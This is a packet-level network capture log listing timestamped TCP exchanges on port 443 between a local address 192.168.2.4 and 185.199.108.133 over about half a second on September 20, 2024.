Sep 20, 2024 12:14:49.174823046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.174900055 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.174911022 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.174940109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.175615072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.208914995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.208949089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.208997965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209011078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209042072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209069967 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209076881 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209095001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209122896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209132910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209177017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209183931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209490061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209512949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209553957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209564924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.209578991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.209625959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.210028887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.210053921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.210125923 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.210134029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.210156918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.210192919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.210397005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.210422039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.210464001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.210473061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.210527897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.210556984 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.219736099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.219759941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.219804049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.219813108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.219851971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.219922066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.220216036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.220240116 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.220316887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.220323086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.220377922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.220527887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.220552921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.220592022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.220597982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.220622063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.220662117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259193897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259232998 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259313107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259382010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259453058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259516954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259597063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259614944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259808064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259808064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259872913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259958982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.259968042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.259979963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260016918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260031939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260066986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260087013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260108948 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260113955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260133982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260152102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260164976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260200024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260248899 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260493994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260513067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260566950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260579109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260606050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260617971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260641098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260643005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260658026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.260689020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.260739088 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.261074066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.261090994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.261149883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.261162043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.261204004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.261224031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.261801004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.261818886 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.261882067 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.261895895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.261950970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.296933889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.296963930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297035933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297049046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297065973 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297089100 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297235012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297262907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297314882 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297323942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297380924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297380924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297566891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297590971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297641993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297650099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.297688007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.297708035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.298212051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.298235893 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.298278093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.298284054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.298321009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.298346043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.298651934 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.298677921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.298728943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.298736095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.298770905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.298796892 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.306999922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307029009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307063103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307071924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307106018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307133913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307399035 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307426929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307468891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307475090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307514906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307533979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307806015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307838917 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307873964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307881117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.307914019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.307948112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.347349882 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.347378969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.347580910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.347580910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.347644091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.347794056 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.347824097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.347985029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.347985983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.348051071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348228931 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348246098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348412991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.348412991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.348481894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348594904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348623037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348823071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.348823071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.348887920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348929882 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.348949909 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349001884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.349021912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349051952 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.349092960 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.349350929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349371910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349440098 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.349453926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349512100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.349716902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349735975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349798918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.349811077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.349867105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.350825071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.350845098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.350908041 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.350920916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.350980043 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.384665012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.384717941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.384788036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.384823084 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.384838104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.384879112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385010958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385035038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385075092 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385083914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385106087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385137081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385422945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385447025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385492086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385503054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385514975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385834932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385868073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385900021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385907888 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.385938883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.385977030 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.386141062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.386164904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.386209011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.386215925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.386236906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.386269093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395133972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395157099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395236015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395252943 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395281076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395308018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395653009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395682096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395725965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395734072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395771027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395802021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.395930052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395952940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.395998001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.396004915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.396037102 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.396058083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.434425116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.434459925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.434716940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.434716940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.434813976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435029030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.435221910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435256004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435309887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.435323954 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435364008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.435450077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.435600042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435620070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435683012 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.435693979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.435720921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.435767889 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436065912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436084986 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436156988 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436170101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436207056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436240911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436388969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436413050 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436461926 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436471939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436527014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436527014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436804056 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436820984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436888933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.436902046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.436955929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.437146902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.437165976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.437227964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.437242031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.437298059 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.437917948 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.437985897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.438081980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.438082933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.438095093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.438168049 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.471757889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.471786022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.471925020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.471956015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472052097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472052097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472258091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472281933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472354889 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472362995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472393036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472430944 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472579002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472604036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472661018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472675085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472701073 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472728014 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472878933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472903967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.472963095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.472970963 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.473020077 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.473233938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.473277092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.473295927 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.473304987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.473328114 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.473439932 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482031107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482059956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482115030 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482135057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482156992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482182026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482355118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482379913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482429981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482438087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482470036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482494116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482820988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482861042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482897997 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482906103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.482932091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.482955933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.521621943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.521660089 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:49.521923065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.521924019 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:49.521987915 CEST	443	58640	185.199.108.133	192.168.2.4
